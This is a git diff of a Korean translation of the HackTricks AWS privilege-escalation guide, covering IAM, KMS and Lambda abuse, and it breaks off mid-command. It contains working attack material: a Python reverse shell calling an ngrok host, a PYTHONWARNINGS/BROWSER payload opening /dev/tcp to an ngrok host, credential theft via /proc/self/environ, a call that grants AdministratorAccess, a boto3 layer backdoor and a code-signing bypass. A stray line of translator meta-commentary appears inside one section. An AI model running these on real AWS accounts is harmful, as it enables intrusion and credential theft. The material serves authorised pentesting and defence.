MFA 디바이스를 비활성화할 수 있게 하며, 잠재적인 간접 권한 상승으로 이어질 수 있습니다. -**SSH 키 업로드를 위한 악용:** +**SSH 키 업로드를 위한 Exploit:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**MFA 비활성화 공격:** +**MFA 비활성화를 위한 Exploit:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**영향:** CodeCommit 접근을 활성화하거나 MFA 보호를 비활성화하여 간접적인 권한 상승을 초래할 수 있습니다. +**영향:** CodeCommit 접근을 허용하거나 MFA 보호를 비활성화함으로써 발생할 수 있는 간접적인 privilege escalation. ### **`iam:ResyncMFADevice`** -MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 권한 상승으로 이어질 수 있습니다. +MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있습니다. -**Bash 명령어:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**영향:** MFA 장치를 추가하거나 조작하여 간접적인 권한 상승. +**Impact:** MFA 디바이스를 추가하거나 조작함으로써 간접적인 권한 상승. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -이 권한을 사용하면 **SAML 연결의 XML 메타데이터를 변경**할 수 있습니다. 그런 다음 **SAML 연합**을 악용하여 **신뢰하는 역할**로 **로그인**할 수 있습니다. +이 권한이 있으면 **change the XML metadata of the SAML connection**. 그 후 **SAML federation**을 악용해 이를 신뢰하는 임의의 **role that is trusting**로 **login**할 수 있습니다. -이 작업을 수행하면 **정상 사용자들은 로그인할 수 없다는 점에 유의하십시오**. 그러나 XML을 가져올 수 있으므로 자신의 XML을 넣고 로그인한 후 이전 상태로 되돌릴 수 있습니다. +주의: 이렇게 하면 **legit users won't be able to login**. 하지만 XML을 얻을 수 있으므로 자신의 것으로 교체하고 **login**한 뒤 이전 상태로 다시 구성할 수 있습니다. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: SAML 메타데이터를 생성하고 지정된 역할로 로그인할 수 있는 도구 +> TODO: SAML metadata를 생성하고 지정된 role로 로그인할 수 있는 도구 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(확실하지 않음) 공격자가 이러한 **권한**을 가지고 있다면, 제공자를 신뢰하는 모든 역할에 로그인하기 위해 새로운 **Thumbprint**를 추가할 수 있습니다. +(확실하지 않음) 공격자가 이러한 **권한**을 가지고 있으면 새 **Thumbprint**를 추가하여 해당 provider를 신뢰하는 모든 role로 로그인할 수 있다. ```bash # List providers aws iam list-open-id-connect-providers @@ -224,8 +224,12 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` -## 참고문헌 +### `iam:PutUserPermissionsBoundary` + +이 권한은 공격자가 사용자의 권한 경계(permissions boundary)를 업데이트할 수 있게 하여, 기존 권한으로는 제한된 작업을 수행할 수 있도록 허용함으로써 권한을 상승시킬 수 있습니다. + +## 참고자료 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md index 7f0f68775..e8fc9c31c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -1,18 +1,18 @@ # AWS - KMS Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## KMS -KMS에 대한 자세한 정보는 다음을 확인하세요: +KMS에 대한 자세한 내용은 다음을 확인하세요: {{#ref}} -../aws-services/aws-kms-enum.md +../../aws-services/aws-kms-enum.md {{#endref}} ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -이 권한을 사용하면 **키에 대한 접근 권한을 수정**하여 다른 계정이나 심지어 누구나 사용할 수 있도록 할 수 있습니다: +이 권한들로 **키에 대한 액세스 권한을 수정**하여 다른 계정이나 심지어 누구나 사용할 수 있게 만들 수 있습니다: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -이것은 **주체가 KMS 키를 사용할 수 있도록 허용합니다:** +이는 **주체가 KMS 키를 사용하도록 허용합니다:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -57,12 +57,12 @@ aws kms create-grant \ --operations Decrypt ``` > [!WARNING] -> 권한 부여는 특정 유형의 작업만 허용할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> grant는 특정 유형의 작업만 허용할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> 권한 부여가 생성된 후 KMS가 **사용자가 키를 사용할 수 있도록 허용하는 데 몇 분이 걸릴 수 있습니다**. 그 시간이 지나면 주체는 아무것도 지정할 필요 없이 KMS 키를 사용할 수 있습니다.\ -> 그러나 권한을 즉시 사용해야 하는 경우 [grant token을 사용하세요](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (다음 코드를 확인하세요).\ -> [**자세한 내용은 여기에서 읽어보세요**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +> grant가 생성된 후 KMS가 **사용자가 키를 사용하도록 허용하기까지 몇 분이 걸릴 수 있다는 점에 유의하세요**. 시간이 지나면 principal은 아무것도 지정할 필요 없이 KMS key를 사용할 수 있습니다.\ +> 하지만 grant를 즉시 사용해야 하는 경우 [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (다음 코드를 확인하세요).\ +> 자세한 내용은 [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ @@ -70,15 +70,15 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -키의 권한을 나열하는 것이 가능합니다: +다음과 같이 grant of keys를 나열할 수 있다는 점에 유의하세요: ```bash aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -이 권한을 사용하면 다른 정책을 가진 다른 지역에서 다중 지역이 활성화된 KMS 키를 복제할 수 있습니다. +이 권한들로 다른 리전에서 다른 정책을 가진 multi-region enabled KMS key를 복제할 수 있습니다. -따라서 공격자는 이를 악용하여 키에 대한 권한 상승을 얻고 이를 사용할 수 있습니다. +따라서 공격자는 이를 악용해 키에 대한 privesc를 얻어 이를 사용할 수 있습니다. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml @@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ``` ### `kms:Decrypt` -이 권한은 키를 사용하여 정보를 복호화할 수 있게 해줍니다.\ +이 권한을 통해 키를 사용하여 일부 정보를 복호화할 수 있습니다.\ 자세한 내용은 다음을 확인하세요: {{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md +../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}} -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md deleted file mode 100644 index a59b1c2d8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ /dev/null @@ -1,317 +0,0 @@ -# AWS - Lambda Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## lambda - -lambda에 대한 자세한 정보는 다음을 참조: - -{{#ref}} -../aws-services/aws-lambda-enum.md -{{#endref}} - -### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) - -**`iam:PassRole`, `lambda:CreateFunction`, 그리고 `lambda:InvokeFunction`** 권한을 가진 사용자는 권한 상승을 할 수 있습니다.\ -그들은 **새 Lambda function을 생성하고 기존 IAM 역할을 할당할 수 있으며**, 해당 역할에 연결된 권한이 함수에 부여됩니다. 그런 다음 사용자는 **이 Lambda function에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\ -함수가 설정되면, 사용자는 **함수의 실행을 트리거**하고 AWS API를 통해 Lambda function을 호출하여 의도한 동작을 수행할 수 있습니다. 이 방법은 사용자가 해당 IAM 역할에 부여된 접근 수준으로 Lambda function을 통해 간접적으로 작업을 수행할 수 있게 합니다.\\ - -공격자는 이를 악용하여 **rev shell을 얻고 토큰을 탈취할 수 있습니다**: -```python:rev.py -import socket,subprocess,os,time -def lambda_handler(event, context): -s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); -s.connect(('4.tcp.ngrok.io',14305)) -os.dup2(s.fileno(),0) -os.dup2(s.fileno(),1) -os.dup2(s.fileno(),2) -p=subprocess.call(['/bin/sh','-i']) -time.sleep(900) -return 0 -``` - -```bash -# Zip the rev shell -zip "rev.zip" "rev.py" - -# Create the function -aws lambda create-function --function-name my_function \ ---runtime python3.9 --role \ ---handler rev.lambda_handler --zip-file fileb://rev.zip - -# Invoke the function -aws lambda invoke --function-name my_function output.txt -## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL - -# List roles -aws iam list-attached-user-policies --user-name -``` -또한 lambda 함수 자체에서 **lambda 역할 권한을 악용**할 수도 있습니다.\ -lambda 역할에 충분한 권한이 있다면 이를 사용해 자신에게 관리자 권한을 부여할 수 있습니다: -```python -import boto3 -def lambda_handler(event, context): -client = boto3.client('iam') -response = client.attach_user_policy( -UserName='my_username', -PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' -) -return response -``` -외부 연결 없이도 lambda의 role credentials를 leak할 수 있습니다. 이는 내부 작업에 사용되는 **Network isolated Lambdas**에 유용합니다. 알려지지 않은 security groups가 reverse shells를 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 credentials를 직접 leak할 수 있게 해줍니다. -```python -def handler(event, context): -sessiontoken = open('/proc/self/environ', "r").read() -return { -'statusCode': 200, -'session': str(sessiontoken) -} -``` - -```bash -aws lambda invoke --function-name output.txt -cat output.txt -``` -**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접 privesc. - -> [!CAUTION] -> 비록 **`lambda:InvokeAsync`**가 흥미로워 보여도, **단독으로는** **`aws lambda invoke-async` 실행을 허용하지 않으며**, 또한 `lambda:InvokeFunction`이 필요합니다 - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` - -이전 시나리오와 마찬가지로, 만약 **`lambda:AddPermission`** 권한이 있다면 **스스로 `lambda:InvokeFunction` 권한을 부여할 수 있습니다** -```bash -# Check the previous exploit and use the following line to grant you the invoke permissions -aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ ---action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" -``` -**Potential Impact:** 지정된 임의의 Lambda 서비스 역할로의 직접 privesc. - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` - -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **자동으로 트리거되도록** 테이블에 새 항목이 입력될 때 보장되며, 사용자의 동작이나 다른 프로세스에 의해 간접적으로 Lambda function이 호출되어 전달된 IAM role의 권한으로 code가 실행됩니다. -```bash -aws lambda create-function --function-name my_function \ ---runtime python3.8 --role \ ---handler lambda_function.lambda_handler \ ---zip-file fileb://rev.zip -``` -DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대한 **event source mapping을 설정하기만 하면 됩니다**. 하지만 DynamoDB가 사용 중이 아니라면, 사용자는 스트리밍이 활성화된 **새 테이블을 생성해야 합니다**: -```bash -aws dynamodb create-table --table-name my_table \ ---attribute-definitions AttributeName=Test,AttributeType=S \ ---key-schema AttributeName=Test,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES -``` -이제 **event source mapping을 생성**하여 **Lambda function을 DynamoDB table에 연결**할 수 있습니다: -```bash -aws lambda create-event-source-mapping --function-name my_function \ ---event-source-arn \ ---enabled --starting-position LATEST -``` -Lambda 함수가 DynamoDB stream에 연결되어 있으면, 공격자는 **DynamoDB stream을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 DynamoDB 테이블에 **항목을 삽입하는 것**으로 수행할 수 있습니다: -```bash -aws dynamodb put-item --table-name my_table \ ---item Test={S="Random string"} -``` -**잠재적 영향:** 지정된 lambda 서비스 역할로의 직접적인 privesc. - -### `lambda:AddPermission` - -이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 모든 권한을 부여할 수 있습니다** (이것은 리소스에 접근을 허용하는 리소스 기반 정책을 생성합니다): -```bash -# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) -aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: - -# Invoke the function -aws lambda invoke --function-name /tmp/outout -``` -**잠재적 영향:** 코드를 수정하고 실행할 수 있는 권한을 부여함으로써 사용되는 lambda 서비스 역할에 대해 직접적인 privesc를 얻을 수 있습니다. - -### `lambda:AddLayerVersionPermission` - -이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다**. 이로써 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다. -```bash -# Give everyone the permission lambda:GetLayerVersion -aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion -``` -**Potential Impact:** 민감한 정보에 대한 잠재적 접근. - -### `lambda:UpdateFunctionCode` - -해당 **`lambda:UpdateFunctionCode`** 권한을 보유한 사용자는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있습니다.**\ -공격자는 **Lambda 코드를 수정하여 IAM 자격 증명을 exfiltrate할 수 있습니다.** - -공격자가 함수를 직접 호출할 수 있는 권한이 없을 수도 있지만, Lambda 함수가 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드가 간접적으로 실행될 수 있습니다. -```bash -# The zip should contain the lambda code (trick: Download the current one and add your code there) -aws lambda update-function-code --function-name target_function \ ---zip-file fileb:///my/lambda/code/zipped.zip - -# If you have invoke permissions: -aws lambda invoke --function-name my_function output.txt - -# If not check if it's exposed in any URL or via an API gateway you could access -``` -**Potential Impact:** 사용된 lambda 서비스 역할로의 직접적인 privesc. - -### `lambda:UpdateFunctionConfiguration` - -#### RCE via 환경 변수 - -이 권한으로 Lambda가 임의의 코드를 실행하도록 만드는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 `PYTHONWARNING`와 `BROWSER`를 악용해 python 프로세스가 임의의 명령을 실행하게 할 수 있습니다: -```bash -aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" -``` -다른 스크립팅 언어에는 사용할 수 있는 다른 env variables가 있습니다. 자세한 내용은 스크립팅 언어의 하위 섹션을 다음에서 확인하세요: - -{{#ref}} -https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html -{{#endref}} - -#### RCE via Lambda Layers - -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 는 lamdba function에 **code**를 포함시킬 수 있게 해주지만 **storing it separately** 방식으로 저장하므로 함수 코드를 작게 유지할 수 있고 **several functions can share code**. - -lambda 내부에서는 다음과 같은 함수로 python code가 로드되는 경로를 확인할 수 있습니다: -```python -import json -import sys - -def lambda_handler(event, context): -print(json.dumps(sys.path, indent=2)) -``` -These are the places: - -1. /var/task -2. /opt/python/lib/python3.7/site-packages -3. /opt/python -4. /var/runtime -5. /var/lang/lib/python37.zip -6. /var/lang/lib/python3.7 -7. /var/lang/lib/python3.7/lib-dynload -8. /var/lang/lib/python3.7/site-packages -9. /opt/python/lib/python3.7/site-packages -10. /opt/python - -For example, the library boto3 is loaded from `/var/runtime/boto3` (4번째 위치). - -#### Exploitation - -`lambda:UpdateFunctionConfiguration` 권한을 악용하면 lambda 함수에 **새 레이어를 추가**할 수 있습니다. 임의의 코드를 실행하려면 이 레이어에는 lambda가 import할 일부 **라이브러리**가 포함되어 있어야 합니다. lambda의 코드를 읽을 수 있다면 이를 쉽게 확인할 수 있으며, 해당 lambda가 **이미 레이어를 사용 중일 수 있으며** 그 레이어를 **다운로드**하여 그 안에 **코드를 추가**할 수도 있다는 점에 유의하세요. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: -```bash -pip3 install -t ./lambda_layer boto3 -``` -`./lambda_layer/boto3/__init__.py`를 열어서 **add the backdoor in the global code**할 수 있다 (예: credentials를 exfiltrate하는 함수나 reverse shell을 얻는 함수 등). - -그 다음, 그 `./lambda_layer` 디렉터리를 zip으로 묶어 **upload the new lambda layer**를 자신의 계정(또는 피해자 계정—권한이 없을 수 있음)에 업로드한다.\ -참고로 /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 한다. 또한, layer는 lambda에서 사용하는 **compatible with the python version**이어야 하고, 자신의 계정에 업로드하는 경우 동일한 **same region:**에 있어야 한다. -```bash -aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" -``` -이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하도록** 만드세요: -```bash -aws lambda add-layer-version-permission --layer-name boto3 \ ---version-number 1 --statement-id public \ ---action lambda:GetLayerVersion --principal * -``` -그리고 lambda layer를 victim lambda function에 연결합니다: -```bash -aws lambda update-function-configuration \ ---function-name \ ---layers arn:aws:lambda:::layer:boto3:1 \ ---timeout 300 #5min for rev shells -``` -다음 단계는 우리가 직접 **invoke the function** 하거나, 정상적인 방법으로 i**t gets invoked** 될 때까지 기다리는 것입니다 — 후자가 더 안전한 방법입니다. - -A **more stealth way to exploit this vulnerability** can be found in: - -{{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md -{{#endref}} - -**잠재적 영향:** Lambda 서비스 역할에 대한 Direct privesc. - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` - -해당 권한들로 function을 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했습니다. 찾으시면 알려주세요! - -### Lambda MitM - -일부 lambdas는 파라미터에서 사용자로부터 민감한 정보를 **receiving sensitive info from the users in parameters.** 만약 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요: - -{{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md -{{#endref}} - -## References - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} - - - - -### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing - -Lambda 함수가 code signing을 강제하는 경우, Code Signing Config(CSC)를 제거하거나 Warn으로 다운그레이드할 수 있는 공격자는 unsigned 코드를 해당 함수에 배포할 수 있습니다. 이는 함수의 IAM 역할이나 트리거를 수정하지 않고도 무결성 보호를 우회합니다. - -권한 (다음 중 하나): -- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` -- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - -참고: -- Path B의 경우 CSC 정책이 `WARN`으로 설정되어 있으면( unsigned artifacts allowed ) AWS Signer 프로필이 필요하지 않습니다. - -단계 (REGION=us-east-1, TARGET_FN=): - -Prepare a small payload: -```bash -cat > handler.py <<'PY' -import os, json -def lambda_handler(event, context): -return {"pwn": True, "env": list(os.environ)[:6]} -PY -zip backdoor.zip handler.py -``` -경로 A) CSC 제거 후 code 업데이트: -```bash -aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 -if [ "$HAS_CSC" -eq 1 ]; then -aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION -fi -aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION -# If the handler name changed, also run: -aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION -``` -경로 B) delete가 허용되지 않는 경우 Warn으로 다운그레이드하고 코드를 업데이트: -```bash -CSC_ARN=$(aws lambda create-code-signing-config \ ---description ht-warn-csc \ ---code-signing-policies UntrustedArtifactOnDeployment=WARN \ ---query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) -aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION -aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION -# If the handler name changed, also run: -aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION -``` -확인했습니다. 지침에 따라 영어 텍스트를 한국어로 번역하겠습니다. 코드, 기술명, 일반 해킹 용어, 클라우드/SaaS 플랫폼 이름(예: aws, gcp 등), 'leak', pentesting, 링크 및 경로, 마크다운/HTML 태그는 번역하지 않으며, 태그나 링크 형식은 그대로 유지하겠습니다. 추가 내용은 포함하지 않습니다. -```bash -aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null -cat /tmp/out.json -``` -잠재적 영향: 서명된 배포만 적용되도록 설계된 함수에 임의의 서명되지 않은 코드를 업로드하고 실행할 수 있어, 해당 함수 역할의 권한으로 코드가 실행될 수 있습니다. - -정리: -```bash -aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true -``` - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md new file mode 100644 index 000000000..b8b598ab6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -0,0 +1,317 @@ +# AWS - Lambda Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## lambda + +lambda에 대한 자세한 내용: + +{{#ref}} +../../aws-services/aws-lambda-enum.md +{{#endref}} + +### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) + +다음 권한을 가진 사용자: **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 는 권한을 상승시킬 수 있습니다.\ +그들은 **새로운 Lambda function을 생성하고 기존의 IAM role을 할당**할 수 있으며, 이렇게 하면 그 role에 연관된 권한을 함수가 얻게 됩니다. 사용자는 이후 **이 Lambda function에 코드를 작성하고 업로드(예: rev shell)**할 수 있습니다.\ +함수가 설정되면 사용자는 **AWS API를 통해 Lambda function을 호출하여** 실행을 트리거하고 의도한 동작을 수행할 수 있습니다. 이 방식은 사용자가 Lambda function을 통해 간접적으로 작업을 수행하며, 해당 IAM role에 부여된 접근 수준으로 동작할 수 있게 합니다.\\ + +공격자는 이를 악용해 **rev shell을 얻고 token을 탈취**할 수 있습니다: +```python:rev.py +import socket,subprocess,os,time +def lambda_handler(event, context): +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 +``` + +```bash +# Zip the rev shell +zip "rev.zip" "rev.py" + +# Create the function +aws lambda create-function --function-name my_function \ +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip + +# Invoke the function +aws lambda invoke --function-name my_function output.txt +## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL + +# List roles +aws iam list-attached-user-policies --user-name +``` +또한 lambda function 자체에서 **abuse the lambda role permissions** 할 수도 있습니다.\ +lambda role에 충분한 permissions가 있었다면, 이를 사용해 본인에게 admin rights를 부여할 수 있습니다: +```python +import boto3 +def lambda_handler(event, context): +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response +``` +외부 연결 없이도 lambda의 role credentials를 leak하는 것이 가능합니다. 이는 내부 작업에 사용되는 **네트워크 격리된 Lambdas**에 유용합니다. 알 수 없는 security groups가 your reverse shells을 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 credentials를 직접 leak할 수 있게 해줍니다. +```python +def handler(event, context): +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} +``` + +```bash +aws lambda invoke --function-name output.txt +cat output.txt +``` +**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로의 직접 privesc. + +> [!CAUTION] +> 흥미로워 보일 수 있지만 **`lambda:InvokeAsync`**은(는) **단독으로는** **`aws lambda invoke-async`를 실행하는 것을** 허용하지 않으며, `lambda:InvokeFunction`도 필요합니다 + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` + +이전 시나리오와 마찬가지로, `lambda:AddPermission` 권한이 있다면 **자신에게 `lambda:InvokeFunction` 권한을 부여할 수 있습니다**. +```bash +# Check the previous exploit and use the following line to grant you the invoke permissions +aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +``` +**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로의 직접 privesc. + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` + +다음 권한을 가진 사용자 **`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`**(및 잠재적으로 `dynamodb:PutItem`, `dynamodb:CreateTable`)는 `lambda:InvokeFunction` 없이도 간접적으로 **escalate privileges** 할 수 있습니다.\ +이들은 **악성 코드가 포함된 Lambda function을 생성하고 기존 IAM role을 할당할 수 있습니다**. + +사용자는 Lambda를 직접 호출하는 대신 기존 DynamoDB 테이블을 생성하거나 활용하고, 이를 event source mapping을 통해 Lambda에 연결합니다. 이 구성은 테이블에 **새 항목이 입력될 때 자동으로 트리거됨** 을 보장하며(사용자 동작이든 다른 프로세스든), 결과적으로 Lambda function을 간접적으로 호출하고 전달된 IAM role의 권한으로 코드를 실행합니다. +```bash +aws lambda create-function --function-name my_function \ +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip +``` +AWS 환경에 이미 DynamoDB가 활성화되어 있으면, 사용자는 Lambda 함수에 대해 **event source mapping을 설정하기만 하면 됩니다**. 그러나 DynamoDB가 사용되지 않는 경우, 사용자는 스트리밍이 활성화된 **새 테이블을 생성해야 합니다**: +```bash +aws dynamodb create-table --table-name my_table \ +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +``` +이제 **Lambda function을 DynamoDB table에 연결**하려면 **event source mapping을 생성**하면 됩니다: +```bash +aws lambda 